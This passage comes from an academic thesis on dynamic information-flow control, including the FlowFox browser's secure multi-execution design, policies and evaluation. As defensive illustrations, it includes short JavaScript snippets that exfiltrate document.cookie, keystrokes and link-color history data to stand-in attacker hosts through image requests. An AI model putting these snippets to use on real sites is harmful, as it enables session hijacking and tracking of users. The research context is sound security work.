assignment, including a program label which refers to the conditional command
where it should actually be upgraded. The semantics of such a delayed upgrade
command resolves the righthand side to a reference and stores it along with the
label L1 in a list of pending upgrades. An actual upgrade of the reference is
only performed just before, and if, a command with that label is reached. If the
labeled command appears in a conditional block itself, the field in question is not
even upgraded at all if that command is never reached. We note that the stepwise
upgrading seen in Figure 6 extends to non-variables also when delayed upgrades
are enabled.
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3.7 Related work
A large body of work targets language-based methods for information-flow
security [132]. We discuss dynamic methods for information-flow enforcement,
which are most closely related to the focus of this paper. For a general survey of
dynamic information-flow techniques, we refer to Le Guernic’s thesis [88].

Fenton [61] discusses purely dynamic monitoring for information flow but
does not prove noninterference. Volpano [147] considers a purely dynamic
monitor to prevent explicit (but not implicit) flows. Languages like Perl and PHP
support taint mode to dynamically track explicit flows.

Shroff et al. [138] discuss a purely dynamic monitor that in addition to
tracking explicit flows, provides limited support to discovering implicit flows.
The monitor is based on recording dependencies discovered at runtime and
propagating them to subsequent runs of the code. While this method does not
guarantee noninterference, it fits a scenario of tracking common flows in a trusted
application.

In a flow-insensitive setting, Sabelfeld and Russo [134] show that a monitor
similar to Fenton’s enforces termination-insensitive noninterference without los-
ing in precision to classical static information-flow checkers. This line of work
has progressed further to extend the monitor to a language with dynamic code
evaluation, communication, and declassification [9], as well as timeout instruc-
tions [128]. Further, Russo et al. [130] investigate the impact of dynamic tree
structures like the DOM on information flow. Their monitor prevents attacks
based on navigating and deleting DOM tree nodes. The monitor derives the se-
curity level of presence for each node from the context of its creation. It keeps
invariants such as the presence level of a parent may not exceed the presence level
of a child.

As discussed earlier, Austin and Flanagan [11, 12] suggest a purely dynamic
monitor for information flow with a limited form of flow sensitivity. They discuss
two disciplines: no sensitive-upgrade, where the execution gets stuck on an
attempt to assign to a public variable in secret context, and permissive-upgrade,
where on an attempt to assign to a public variable in secret context, the public
variable is marked as one that cannot be branched on later in the execution. Austin
and Flanagan [12] discuss inserting privatization operations, which are akin to our
upgrade commands. The insertion takes place when a variable that was previously
upgraded in secret context is about to be branched upon.

Stefan et al. [142] present a library for dynamic information-flow control in
Haskell using a notion of floating labels, related to the concept of program counter,
to restrain the side effects of computations. Even though they do not allow labels
of references (c.f. variables) to change, their primitives allow for the manipulation
of labels that causes related problems. Their solution to this is to demand the
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programmer to annotate the program, which is comparable to the use of upgrades.
Magazinius et al. [98] show how to inline a no-sensitive upgrade monitor into
programs in a language with dynamic code evaluation.

Russo and Sabelfeld [129] show that purely dynamic flow-sensitive monitors
do not subsume the permissiveness of flow-sensitive security type systems. They
also provide a framework for hybrid monitors that allows expressing a range of
hybrid monitors as one by Le Guernic et al. [89].

Hedin and Sabelfeld [73] propose dynamic information-flow control for a
core of JavaScript that includes objects, higher-order functions, exceptions, and
dynamic code evaluation. They discuss the usefulness of upgrade annotations
but do not provide methods to generate them. Our paper shows how to relieve
the programmer from the burden of upgrade annotations, making dynamic
information-flow control more practical.

Chugh et al. [38] present a hybrid approach to handling dynamic execution.
Their work is staged where a dynamic residual is statically computed in the first
stage, and checked at runtime in the second stage.

Masri et al. [101] develop a method for detecting and debugging information
flows for restricted Java bytecode (no exceptions, multithreading, or exit state-
ments). The method is a form of dynamic program slicing that allows detecting
explicit flows. They also show that static analysis and a preprocessing transfor-
mation can be used to include implicit flows into consideration.

Kang et al. [82] consider taint analysis for implicit flows in trusted code.
They enhance a purely dynamic analysis to propagate selected information about
control-flow dependencies, hitting a middle ground between ignoring implicit
flows and propagating taint along all control dependencies indiscriminately.

Compared to the previous work, a key novelty of this paper is the usage
of testing (rather than static analysis) to boost the permissiveness of dynamic
enforcement.

3.8 Conclusion
While dynamic information-flow enforcement might seem to be a natural fit for
tackling languages with dynamic data structures, there are fundamental limits of
permissiveness of purely dynamic techniques. This paper demonstrates how to
overcome these limits by testing. We show that testing boosts the permissiveness
of dynamic information-flow enforcement by discovering places in code for
automatic injection of upgrade annotations. The inference of upgrade annotations
ensures that the dynamic analysis is more permissive than the static counterpart,
without losing soundness. Our experiments with the QuickCheck tool suggest
that we achieve the permissiveness of hybrid monitors without static analysis on
a collection of scenarios with rich information flows.
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Future work includes extending the formalization with functions (which we
have already implemented in our prototype). The upgrade injection mechanism
allows setting the upgrades before functions are called, which enables smooth in-
tegration with third-party libraries. Based on the prototype reported in Section 3.6
and our approach to tackling the core JavaScript features [73], we pursue the
implementation of information-flow monitor enhanced with upgrade instruction
injection for the full JavaScript language.
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4 FlowFox: a web browser with flexible and precise
information flow control

4.1 Introduction
A web browser handles content from a variety of origins, and not all of these
origins are equally trustworthy. Moreover, this content can be a combination of
markup and executable scripts where the scripts can interact with their environ-
ment through a collection of powerful APIs that offer communication to remote
servers, communication with other pages displayed in the browser, and access
to user, browser and application information including information such as the
geographical location, clipboard content, browser version and application page
structure and content. With the advent of the HTML5 standards [75, 51], the
collection of APIs available to scripts has substantially expanded.
An important consequence is that scripts can be used to attack the confidentiality
or integrity of that information. Scripts can leak session identifiers [112], inject
requests into an ongoing session [18], sniff the user’s browsing history, or track
the user’s behavior on a web site [77]. Such malicious scripts can enter a web page
because of a cross-site scripting vulnerability [79], or because the page integrates
third party scripts such as advertisements, or gadgets. A recent study has shown
that almost all popular web sites include such remotely-hosted scripts [111]. Barth
et al. [19, 5] have proposed the gadget attacker, as an appropriate attacker model
for this broad class of attacks against the browser.
The importance of these attacks has led to many countermeasures being imple-
mented in browsers. The first line of defense is the same-origin-policy (SOP) that
imposes restrictions on the way in which scripts and data from different origins
can interact. However, the SOP is known to have holes [141], and all of the at-
tacks cited above bypass the SOP. Hence, additional countermeasures have been
implemented or proposed. Some of these are ad-hoc security checks added to the
browser (e.g. to defend against history-sniffing attacks, browsers responded with
prohibiting access to the computed style of HTML elements [151]), others are
elaborate and well thought-out research proposals to address specific subclasses of
such attacks (e.g. AdJail [144] proposes an architecture to contain advertisement
scripts).

Several researchers [28, 95] have proposed information flow control as a gen-
eral and powerful security enforcement mechanism that can address many of these
attacks, and hence reduce the need for ad-hoc or purpose-specific countermea-
sures. Several prototypes that implement some limited form of information flow
control have been developed; we discuss these in detail in Section 4.6. However,
general, flexible, sound and precise information flow control is difficult to achieve,
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and so far nobody has been able to demonstrate a fully functional browser that
enforces sound and precise information flow control for web scripts. As a conse-
quence, there was no evidence for the practicality of this approach in the context
of web applications, till now.

In this paper, we present FLOWFOX, the first fully functional web browser
(implemented as a modified Mozilla Firefox) that implements a precise and
general information flow control mechanism based on the technique of secure
multi-execution [54]. FLOWFOX can enforce general information flow based
confidentiality policies on the interactions between web scripts and the browser
API. Information entering or leaving scripts through the API is labeled with a
confidentiality label chosen from a partially ordered set of labels, and FLOWFOX

enforces that information can only flow upward in a script.
We report on several experiments we performed with FLOWFOX. We measured
performance and memory cost, and we show how FLOWFOX can provide (through
suitable choice of the policy enforced) the same security guarantees as many ad-
hoc browser security countermeasures. We also investigate the compatibility of
some of these policies with the top-500 Alexa web sites.
While the costs incurred by FLOWFOX are non-negligible, we believe our
prototype provides evidence of the suitability of information flow security in the
context of the web, and further improvements in design and implementation will
reduce performance, memory and compatibility costs. As an analogy, the reader
might remember that the first backwards-compatible bounds-checkers for C [80]
incurred a performance cost of a factor of 10, and that a decade of further research
eventually reduced this to an overhead of 60% [6, 155].

In summary, this paper has the following contributions:

• We present the design and implementation of FLOWFOX, the first fully
functional web browser with sound and precise information flow controls
for JavaScript. FLOWFOX is available for download, and can successfully
browse to complex web sites including Amazon, Google, Facebook, Yahoo!
and so forth.

• We show how FLOWFOX can subsume many ad-hoc security countermea-
sures by a suitable choice of policy.

• We evaluate the performance and memory cost of FLOWFOX compared to
an unmodified Firefox.

• We evaluate the compatibility of FLOWFOX with the current web by
comparing the output of FLOWFOX with the output of an unmodified
Firefox.
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The remainder of this paper is organized as follows: in Section 4.2 we define
our threat model, and give examples of threats that are in scope and out of scope
for this paper. Section 4.3 gives a high-level overview of the design of FLOWFOX,
and Section 4.4 discusses key implementation aspects. In Section 4.5, we evaluate
FLOWFOX with respect to compatibility, security and performance. Section 4.6
discusses related work, and Section 4.7 concludes.

4.2 Threat Model
Our attacker model is based on the gadget attacker [19, §2]. This attacker has two
important capabilities. First, he can operate his own web sites, and entice users
into visiting these sites. Second, he can inject content into other web sites, e.g.
because he can exploit a cross-site scripting (XSS) vulnerability in the other site,
or because he can provide an advertisement or a gadget that will be included in
the other site. The attacker does not have any special network privileges (he can’t
eavesdrop on nor tamper with network traffic).

The baseline defense against information leaking through scripts is the SOP.
However, it is well-known that the SOP provides little to no protection against the
gadget attacker: scripts included by an origin have full access to all information
shared between the browser and that origin, and can effectively transmit that
information to any third party e.g. by encoding the information in a URL, and
issuing a GET request for that URL.

Not only confidentiality of information is important; users also care about
integrity. But for the purpose of this paper, we limit our attention to confidentiality
and leave the study of enforcing integrity to future work.

For the rest of this paper, we consider users surfing the web with a web
browser. Typically, these users care about the confidentiality of the following
types of information:

Application Data The user interacts with a variety of sites that he shares
sensitive information with. Prototypical examples of such sites are banking or
e-government sites. The user cares about the confidentiality of information (e.g.
tax returns) exchanged with these sites. Access to such information is available to
scripts through the Document Object Model (DOM) API.

User Interaction Data Information about the user’s mouse movements and
clicks, scrolling behavior, or the selection, copying and pasting of text can be (and
is) collected by scripts to construct heat maps, or to track what text is being copied
from a site [77, §5]. Collection of such information by scripts is implemented by
installing event handlers for keyboard and mouse activities.
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Meta Data Meta information about the current web site (like cookies), or about
the browsing infrastructure (e.g. screen size). Leakage of such information can
enable other attacks, e.g. session hijacking after leaking of a session cookie.
Again, scripts have access to this type of information through APIs offered by
the browser.

With these information assets and attacker model in mind, we give concrete exam-
ple threats that are in scope, and threats we consider out-of-scope for this paper.

4.2.1 In-scope Threats

Here are some concrete examples of threats that can be mitigated by FLOWFOX.
We will return to these examples further in the paper.

Session Hijacking through Session Cookie Stealing A gadget attacker can
inject a script that reads the shared session cookie between the browser and an
honest site A, and leak it back to the attacker, who can now hijack the session:
1 new Image().src = "http://attack/?=" + document.cookie;

Several ad-hoc countermeasures against this threat have been proposed. A
representative example is SessionShield [112] that uses heuristics to identify what
cookies are session cookies, and then blocks script access to these session cookies.

Malicious Advertisements Web sites regularly include advertisements imple-
mented as web scripts in their pages. These advertisement scripts then have access
to application data in the page. This is sometimes desirable, as it enables context-
sensitive advertising, yet it also exposes user private data to the advertisement
provider.

Again, several countermeasures have been developed. A representative
example is AdJail [144] that addresses confidentiality as well as integrity attacks
by means of an isolation mechanism that runs the advertisement code in a separate
hidden iframe.

History Sniffing and Behavior Tracking An empirical study by Jang et al. [77]
shows that many web sites (including popular web sites within the Alexa global
top 100) use web scripts to exfiltrate user interaction data and meta data, for
example browsing history. This kind of functionality is even offered as a
commercial service by web analytics companies.

The adaptation of the Style API is an example of an ad-hoc countermeasure
specifically developed to mitigate the history sniffing threat [17], but most of
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the privacy leaks described by Jang et al. [77] are not yet countered in modern
browsers.

4.2.2 Out-of-scope Threats

Browser security is a broad field, facing many different types of threats. We list
threats that are not in scope for the countermeasure discussed in this paper, and
need to be handled by other defense mechanisms.

Integrity Threats As discussed earlier, we focus only on confidentiality-related
threats. Examples of integrity-related threats include user interface redressing
attacks (e.g. clickjacking), and cross-site request forgery (CSRF) attacks.

Implementation-level Attacks Against the Browser A browser is a complex
piece of software with a large network-facing attack surface. Implementation-
level vulnerabilities in the browser code may allow an attacker to gain user-
level or even administrator-level privileges on the machine where the browser is
running. A wide variety of countermeasures to harden implementations against
these threats exist [154], and we don’t consider them in this paper. Typical
examples of attacks in this category include heap-spraying attacks [49] or drive-
by-downloads [117, 116].

Threats Not Related to Scripting This includes e.g. attacks at the network
level (eavesdropping on or tampering with network traffic) or CSRF attacks that
do not make use of scripts [18].

4.3 FlowFox
In this section we describe the design of FLOWFOX. First, we briefly recap
some notions of information flow security and the secure multi-execution (SME)
enforcement mechanism. Then we discuss how SME can be applied to browsers,
and we motivate our design where only scripts are multi-executed instead of the
full browser. Finally, we discuss what policies can be enforced by FLOWFOX.

4.3.1 Information Flow Security

Information flow security is concerned with regulating how information can flow
through a program. One specifies a policy for a program by labeling all input
and output operations to the program with a security label. These labels represent
a confidentiality level, and they are partially ordered where one label is above
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another label if it represents a higher level of confidentiality. One then tries to
enforce that information only flows upward through the program. This is often
formalised as non-interference – a deterministic program is non-interferent if
there are no two runs of the program with inputs identical up to a level l but
some different outputs at a level below l. While there has been a substantial body
of research on information flow security over the past decades, the JavaScript
language, and the web context bring significant additional challenges, including
e.g. dealing with the dynamic nature of JavaScript.

For the remainder of this paper, we limit our attention to the case where there
are only two security labels: high (H) for confidential information, and low (L)
for public information. As we will show, many useful policies can be specified
with only these two levels. But this is not a fundamental limitation: FLOWFOX

scales to an arbitrary number of levels (albeit at a considerable performance and
memory cost).

4.3.2 Secure Multi-Execution

Secure multi-execution (SME) [54, 33] is a new dynamic enforcement mechanism
for information flow security with practical advantages when applied in the
context of JavaScript web applications [54, §VI.D].
The core idea of SME is to execute the program multiple times – once for every
security label, while applying specific rules for input and output (I/O) operations
in the program. We summarize the SME I/O rules for the two element lattice that
we consider in this paper:

1. I/O operations are executed only in the executions at the same security level
as the operation. This ensures that any I/O operation is only performed
once.

2. Output operations at other levels are suppressed.

3. High input operations in the low execution are handled as follows: the input
operation is skipped, and returns a default value of the appropriate type.

4. Low input operations in the high execution wait for the low execution to
perform this input, and then reuse the value that was input at the low level.

It is relatively easy to see that executing a program under the SME regime will
guarantee non-interference: the copy that does output at level L only sees inputs
of level L and hence the output could not have been influenced by inputs of level
H . For a more general description of the SME mechanism, and a soundness proof,
the reader is referred to Devriese and Piessens [54], and to Kashyap et al. [83].
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Figure 7: Two design alternatives.

4.3.3 In-Browser SME

An important design decision when implementing SME for web scripts is how to
deal with the browser API exposed to scripts. A first option is to multi-execute the
entire browser: the API interactions would become internal interactions and each
SME copy of the browser would have its own copy of the DOM. Both Bielova et
al. [24] and Capizzi et al. [33] applied this strategy in their implementations.
The alternate strategy is to only multi-execute the web scripts and to treat all
interactions with the browser API as inputs and outputs. Both designs are shown
in Figure 7.

Both designs have their advantages and disadvantages. When multi-executing
the entire browser, the information flow policy has to label inputs and outputs at
the abstraction level provided by the operating system. The policy can talk about
I/O to files and network connections, or about windows and mouse events. Multi-
execution can be implemented relatively easily by running multiple processes.
However, at this level of abstraction, the SME enforcement mechanism lacks the
necessary context information to give an appropriate label to e.g. mouse events.
The operating system does not know to which tab, or which HTML element in
that tab a specific mouse click or key press is directed. It can also not distinguish
individual HTML elements that scripts are reading from or writing to.
When multi-executing only the scripts, the information flow policy has to label
inputs and outputs at the abstraction level offered by the browser API. The policy
can talk about reading from or writing to the text content of specific HTML
elements, and can assign appropriate labels to such input and output operations.
However, implementing multi-execution is harder, as it now entails making cross-
cutting modifications to the source code of a full-blown browser – e.g. a system
call interface is cleaner from a design perspective than a prototypical web browser
and as such easier to modify. Also, policies become more complex, as there are
much more methods in the browser API than there are system calls.

FLOWFOX takes the second approach, as the first approach is too coarse
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grained and imprecise to counter relevant threats. The first approach (taken by
[33, 24]) can e.g. not protect against a script leaking an e-mail typed by the user
into a web mail application to any third party with whom the browser has an
active session in another tab, because the security enforcement mechanism cannot
determine to which origin the user text input is directed.
Hence, browser API interactions are treated as inputs and outputs in FLOWFOX,
and should be labeled with an appropriate security label. Based on a simple
example, we show how this works. Consider malicious code, trying to disclose
the cookie information as part of a session hijacking attack:
1 var url = "http://host/image.jpg?=" + document.cookie;
2 var i = new Image(); i.src = url;
3 if (i.width > 50) { /* layout the page differently */ }

For this example, we label reading document.cookie as confidential input,
and we label setting the src property of an Image object (which results in an
HTTP request to the given URL) as public output. Reading the width property of
the image (also a DOM API call) is labeled as public input.

We discuss how this script is executed in FLOWFOX. First, it is executed at
the low level. Here, reading the cookie results in a default value, e.g. the empty
string. Then the image is fetched – without leaking the actual cookie content –
and when reading the width of the image (resulting e.g. in 100), the value that was
read is stored for reuse in the high execution:
1 var url = "http://host/image.jpg?=" + document.cookie "";
2 var i = new Image(); i.src = url;
3 if (i.width > 50) { /* layout the page differently */ }

Next, the script is executed at the high level. In this level, the setting of the
src property is suppressed. The reading of the width property is replaced by the
reuse of the value read at the low level.
1 var url = "http://host/image.jpg?=" + document.cookie;
2 var i = new Image(); i.src = url;
3 if (i.width100 > 50) { /* layout the page differently */ }

This example shows how, even though the script is executed twice, each
browser API call is performed only once. As a consequence, if the original script
was non-interferent, the script executed under multi-execution behaves exactly
the same. In other words, SME is precise: the behavior of secure programs is not
modified by the enforcement mechanism. This is relatively easy to see: if low
outputs did not depend on high inputs to start from, then replacing high inputs
with default values will not impact the low outputs. We refer again to [54, §IV.A]
for a formal proof.
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4.3.4 Security Policies

In FLOWFOX every DOM API call is interpreted as an output message to the DOM
(the invocation with the actual parameters), followed by an input from the DOM
(the return value).1 DOM events delivered to scripts are interpreted as inputs. The
policy deals with events by giving appropriate labels to the DOM API calls that
register handlers.

Hence a FLOWFOX policy must specify two things. First, it assigns security
levels to DOM API calls. Second, a default return value must be specified for
each DOM API call that could potentially be skipped by the SME enforcement
mechanism (see Rule 3 in Section 4.3.2).

Policy Rule A policy rule has the form R[D] : C1 → l1, . . . , Cn → ln ↪→ dv
where R is a rule name, D is a DOM API method name, the Ci are boolean
expressions, the li are security levels and dv is a JavaScript value.

Policy rules are evaluated in the context of a specific invocation of the DOM API
method D, and the boolean expressions Ci are JavaScript expressions and can
access the receiver object (arg0) and arguments (argi) of that invocation. Given
such an invocation, a policy rule associates a level and a default value with the
invocation as follows. The default value is just the value dv. The conditions Ci
are evaluated from left to right. If Cj is the first one that evaluates to true, the
level associated with the invocation is lj . If none of them evaluate to true, the
level associated with the invocation is L.

Policies are specified as a sequence of policy rules, and associate a level and
default value with any given DOM API invocation as follows. For an invocation of
DOM API method D, if there is a policy rule for D, that rule is used to determine
level and default value. If there is no rule in the policy forD, that call is considered
to have level L, with default value undefined. The default value for invocations
classified at L is irrelevant, as the SME rules will never require a default value for
such invocations.

Making API calls low by default, supports the writing of short and simple
policies. The empty policy (everything low) corresponds to standard browser
behavior. By selectively making some API calls high, we can protect the
information returned by these calls. It can only flow to calls that also have been
made high.

JavaScript properties that are part of the DOM API can be considered to
consist of a getter method and a setter method. For simplicity, we provide

1For API methods that return void, this can be optimized; they can be considered just outputs,
but we ignore that optimization in the discussion below.
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some syntactic sugar for setting policies on properties: for a property P (e.g.
document.cookie), a single policy rule specifies a level l and default value dv.
The getter method then gets the level l and default value dv and the setter method
gets the level l and the default value true – for a setter, the return value is a boolean
indicating whether the setter completed succesfully.

Examples Policy ruleR1 specifies that reading and writing of document.cookie
is classified as H , with default value ε (the empty String):

R1[document.cookie] : true→ H ↪→ ε

As a second example, consider some methods of XMLHttpRequest objects
(abbreviated below as xhr). The assigned level depends on the origin to where
the request is sent:R2[xhr.open] : sameorigin(arg1)→ H ↪→ true

R3[xhr.send] : sameorigin(arg0.origin)→ H ↪→ true

with sameorigin() evaluating to true if its first argument points to
the same origin as the document the script is part of. Finally, the fol-
lowing policy ensures that keypress events are treated as high inputs:R4[onkeypress] : true→ H ↪→ true

R5[addEventListener] : arg1 = ”keypress”→ H ↪→ true

4.4 Implementation
FLOWFOX is implemented on top of Mozilla Firefox 8.0.1 and consists of about
±1400 new lines of C/C++ code. We discuss the most interesting aspects of this
implementation.

4.4.1 SME-aware JavaScript Engine

The SpiderMonkey software library is the JavaScript engine of the Mozilla Firefox
architecture. It is written in C/C++. The rationale behind our changes to
SpiderMonkey, is to allow JavaScript objects to operate (and potentially behave
divergently) on different security levels.

Every execution of JavaScript code happens in a specific context, internally
known as a JSContext. We augment the JSContext data structure to contain
the current security level and a boolean variable to indicate if SME is enabled.
JSObjects in SpiderMonkey represent the regular JavaScript objects living in a
JSContext. Each property of a JSObject has related meta information, contained
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#1
{L, window, Object}

{H , window, Object}

{L, Math, Object}

{H , Math, Object}

{L, a, Object}

{H , a, Object}

{L, b, Object}

{H , b, Numeric}
...

#2
{L, sin, Function}

{H , sin, Function}
...

#3
...

#4
...

#5
{L, c, Numeric}

...

7

Figure 8: Extended JSObjects with support for SME.

in a Shape data structure. Such a Shape is one of the key elements in our
implementation.

By extending Shapes with an extra field for the security level, we allow
JSObjects to have the same property (with a potentially different value) on every
security level. The result of this modification is a JSObject behaving differently,
depending on the security level of the overall JSContext. We represent the
augmented Shape by the triplet {security level, property name, property value}
as shown in Figure 8. Only properties with shapes of the same security level
as the coordinating JSContext are considered when manipulating a property of a
JSObject. Figure 9 shows the visible JSObject graph of Figure 8 when operating
in a JSContext with a low security level.

With these extensions in place, implementing the multi-execution part is
straightforward: we add a loop over all available security levels (starting with the
bottom element of our lattice) around the code that is responsible for compiling
and executing JavaScript code. Before each loop, we update the associated
security level of the JSContext.

4.4.2 Implementation of the SME I/O Rules

The next important aspect of our implementation is how we intercept all DOM
API calls, and enforce the SME I/O rules on them.
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#1
{L, window, Object}
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{L, sin, Function}

...

#3
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#5
{L, c, Numeric}

...7

Figure 9: Extended JSObjects in a JSContext viewed under security level L.

1 process (methodName, args, curLevel) {
2 l, dv = policy(methodName, args);
3 if (curLevel == l) {
4 result = perform_call();
5 resultCache.store(result,methodName,args);
6 return result;
7 } else if (curLevel > l) {
8 result = resultCache.retrieve(methodName, args);
9 return result;

10 } else if (curLevel < l) {
11 return dv;
12 }
13 }

Figure 10: Implementation of the SME I/O rules.

To intercept DOM API calls, we proceed as follows. Every DOM call from a
JavaScript program to its corresponding entry in the C/C++ implemented DOM,
needs to convert JavaScript values back and forth to their C/C++ counterparts.
Within the Mozilla framework, the XPConnect layer handles this task. The
existence of this translation layer enables us to easily intercept all the DOM API
calls. We instrumented this layer with code that processes each DOM API call
according to the SME I/O rules. We show pseudo code in Figure 10.

For an intercepted invocation of a DOM API method methodName with
arguments args in the execution at level curLevel, the processing of the
intercepted invocation goes as follows.

First (line 2) we consult the policy to determine the level and default value
associated with this invocation as detailed in Section 4.3.4. Further processing
depends on the relative ordering of the level of the invocation (l) and the level of
the current execution (curLevel). If they are equal (lines 3-6), we allow the call
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1 function handler (e) {
2 new Image().src = "http://host/?=" + e.charCode;
3 }
4 $("target1").onkeypress = handler;
5 $("target2").addEventListener( "keypress", handler, false);

Figure 11: Example of an event handler leaking private information.

to proceed, and store the result in a cache for later reuse in executions at higher
levels. If the current execution is at a higher level (lines 7-9), we retrieve the result
for this call from the result cache – the result is guaranteed to exists because of
the loop with its associated security level starting at the bottom element and going
upwards – and reuse it in the execution at this level. The actual DOM method is
not called. Finally, if the level of the current execution is below the level of the
DOM API invocation, then we do not perform the call but return the appropriate
default value (lines 10-11).

4.4.3 Event Handling

As discussed above, labels for events are specified in the policy by labeling the
methods/properties that register event handlers. As a consequence, low events
will be handled by both the low and high execution (in respectively a low and
high context). High events will only be handled by the high execution. This is the
correct way to deal with events in SME [24].

Hence, we have to execute an event handler in a JSContext with the same
security level as it was installed. We augmented the event listener data structure
with the SME state and the security level. We adjust accordingly both the security
level and the SME state of the current JSContext at the moment of execution of
an event handler.

Take as an example the code in Figure 11 that tries to leak the pressed key
code. With the policy discussed in Section 4.3.4 that makes keypress a H event,
the leak will be closed: the handler will only be installed in the high execution,
and that execution will skip the image load that leaks the pressed key.

4.5 Evaluation
We evaluate our FLOWFOX prototype in three major areas: compatibility with
major websites, security guarantees offered, and performance and memory
overhead.
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4.5.1 Compatibility

Since SME is precise [54, §IV.A], theory predicts that FLOWFOX should not
modify the behavior of the browser for sites that comply with the policy.
Moreover, SME can sometimes fix interferent executions by providing appropriate
default values to the low execution. We perform two experiments to confirm these
hypotheses.

In a first experiment, we measure what impact FLOWFOX has for users on the
visual appearance of websites. We construct an automated crawler that instructs
two Firefox browser and one FLOWFOX browser to visit the Alexa top 500
websites2. FLOWFOX is configured with a simple policy that makes reading
document.cookie high. Most websites are expected to comply with this policy.
After loading of the websites has completed, the crawler dumps a screenshot of
each of the three browsers to a bitmap. We then compare these bitmaps in the
following way. First, we compute a mask that masks out each pixel in the bitmap
that is different in the bitmaps obtained from the two regular Firefox browsers.
The mask covers the areas of the site that are different on each load (such as
slideshow images, advertisements, timestamps, and so forth). Masks are usually
small. Figure 12 shows the distribution of the relative sizes of the unmasked area
of the bitmaps: 100% means that the two Firefox browsers rendered the page
exactly the same; not a single pixel on the screen is different. The main reasons
for a larger mask – observed after manual inspection – were (i) content shifts on
the y-axis of the screen because of e.g. a horizontal bar in one the two instances
or (ii) varying screen-filling images.

Next, we compute the difference between the FLOWFOX generated bitmap
and either of the two Firefox generated bitmaps over the unmasked area. It does
not matter which Firefox instance we compare to, as their bitmaps are of course
equal for the unmasked area. Figure 13 shows the distribution of the relative size
of the area that is different. Differences are usually small to non-existent: 0%
means that the FLOWFOX browser renders the page exactly as the two Firefox
browsers for the unmasked area.

The main reasons for a larger deviation – identified after manual inspection
– were (i) non-displayed content, (ii) differently-positioned content, (iii) network
delays (loaded in FLOWFOX but not yet in Firefox or vice versa) or (iv) varying
images not captured by the mask. In one case, the site was violating the policy
but by providing an appropriate default value in the policy, FLOWFOX could still
render the site correctly.

We conclude from this experiment that FLOWFOX is compatible with the
current web in the sense that it does not break sites that comply with the policy
being enforced. This is a non-trivial observation, given that FLOWFOX handles

2http://www.alexa.com/topsite
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Figure 12: Distribution of the relative size of the unmasked surface for the top-500
web sites.
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Figure 13: Distribution of the relative amount of the visual difference between
FLOWFOX and the masked Firefox for the top-500 web sites.

scripts radically differently (executing each script twice under the SME regime)
and supports our claim that FLOWFOX is a fully functional web browser.

This first experiment is an automatic crawl. It just visits the homepages of
websites. Even though these home pages in most cases contain intricate JavaScript
code, the experiment could not interact intensely with the websites visited. Hence,
we performed a second experiment, where FLOWFOX is used to complete several
complex, interactive web scenarios with a random selection of popular sites.

We identified 6 important categories of web sites / web applications amongst
the Alexa top-15: web mail applications, online (retail) sales, search engines,
blogging applications, social network sites and wikis. For each category, we
randomly picked a prototypical web site from this top-15 list for which we worked
out and recorded a specific, complex use case scenario of an authenticated user
interacting with that web site. We played these in FLOWFOX with the session
cookie policy. In addition, we selected some sites that perform behavior tracking,
and browsed them in a way that triggers this tracking (e.g. selecting and copying
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text) with a policy that protects against tracking (see Section 4.5.2). Appendix A
contains an overview of a representative sample of our use cases recordings.

For all scenarios, the behavior of FLOWFOX was for the user indistinguishable
from the Firefox browser. For the behavior tracking sites, the information leaks
were closed – i.e. FLOWFOX fixed the executions in the sense that the original
script behavior was preserved, except the leakage of sensitive information was
replaced with default values. This has no impact on user experience, as the user
does not notice these leaks in Firefox either.

This second experiment confirms our conclusions from the first experiment:
FLOWFOX is compatible with the current web, and can fix interferent executions
in ways that do not impact user experience.

4.5.2 Security

We evaluate two aspects of the security of FLOWFOX. In order for the theoretical
properties of SME to hold, we need (i) a deterministic scheduler and (ii) a
deterministic language.

Because of the total order of our lattice and the semi-serial execution (see
Section 4.4.1), the scheduler is effectively deterministic. Although there are some
source of non-determinism in JavaScript3, we consider them merely as technical
issues – in practice they will not exist, except for setTimeout, that is handled like
a regular event – resulting in a deterministic JavaScript execution.

Is FLOWFOX Non-interferent? There are two reasons our prototype could fail
to be non-interferent: (1) if it violates the assumptions underlying the soundness
proof [54, §III.B], or (2) if there are implementation-level vulnerabilities in our
prototype.

For (1), an important assumption is that no information output to an API
method classified as high can be input again through an API call classified as
low. In other words, for soundness, policies should be compatible with the
browser API implementation in the sense that scripts should not be able to leak
information to lower levels through the API implementation. It is non-trivial
to validate this assumption in our prototype: browser API calls are treated as
I/O channels, and the implementation of the browser API is large and complex.
Checking whether a given policy is compatible in this sense is a non-trivial task in
general, and investigating this more thoroughly is an interesting avenue for future
work. However, the relatively simple policies that we used in our experiments are
compatible.

3http://code.google.com/p/google-caja/wiki/
SourcesOfNonDeterminism
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For (2), – given the size and complexity of the code base of our prototype –
we can’t formally guarantee the absence of any implementation vulnerabilities.
However, we can provide some assurance: the ECMAScript specification assures
us that I/O can only be done in JavaScript by means of the browser API. Core
JavaScript – as defined by the ECMAScript specification – doesn’t provide any
input or output channel to the programmer [62, §I]. Since all I/O operations have
to pass the translation layer to be used by the DOM implementation (see Section
4.4.2), we have high assurance that all operations are correctly intercepted and
handled according to the SME I/O rules.

Finally, we have extensively manually verified whether FLOWFOX behaves
as expected on malicious scripts attempting to leak information (we discuss some
example policies in Section 4.5.2). We believe all these observations together give
a reasonable amount of assurance of the security of FLOWFOX.

Can FLOWFOX Enforce Useful Policies? FLOWFOX guarantees non-
interference with respect to an information flow policy. But not all such policies
are necessarily useful. In this section, we demonstrate how some of the concrete
threats we discussed in Section 4.2 are effectively mitigated.

Leaking session cookies In Section 4.2 we discussed how malicious scripts
can leak session cookies to an attacker. A simple solution would be to prevent
scripts from accessing cookies. However, consider the following code snippet:
1 new Image().src = "http://host/?=" + document.cookie;
2 document.body.style.backgroundColor = cookieValue("color");

In order for the script above to work, only the color value from the cookie is
needed. By assigning a high security level to both the DOM call for the cookie
and the background color, and a low level to API calls that trigger network output,
we allow the script access to the cookies, but prevent them from leaking.

Executing the above code snippet with FLOWFOX, results in the following two
executions:
1 new Image().src = "http://host/?=" + document.cookieundefined;
2 document.body.style.backgroundColor = cookieValue("color");

The high execution:
1 new Image().src = "http://host/?=" + document.cookie;
2 document.body.style.backgroundColor = cookieValue("color");

Hence, the script executes correctly, but does not leak the cookie values to the
attacker.

This policy subsumes fine-grained cookie access control systems, such as
SessionShield [112] that use heuristic techniques to prevent access to session
cookies but allow access to other cookies.
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History sniffing History sniffing [77, §4] is a technique to leak the browsing
history of a user by reading the color information of links to decide if the linked
sites were previously visited by the user:
1 var l = document.createElement("a");
2 l.href = "http://web.site.com"
3 new Image().src = "http://attacker/?=" +
4 (document.defaultView.getComputedStyle(l, null)
5 .getPropertyValue("color") == "rgb(12, 34, 56)")

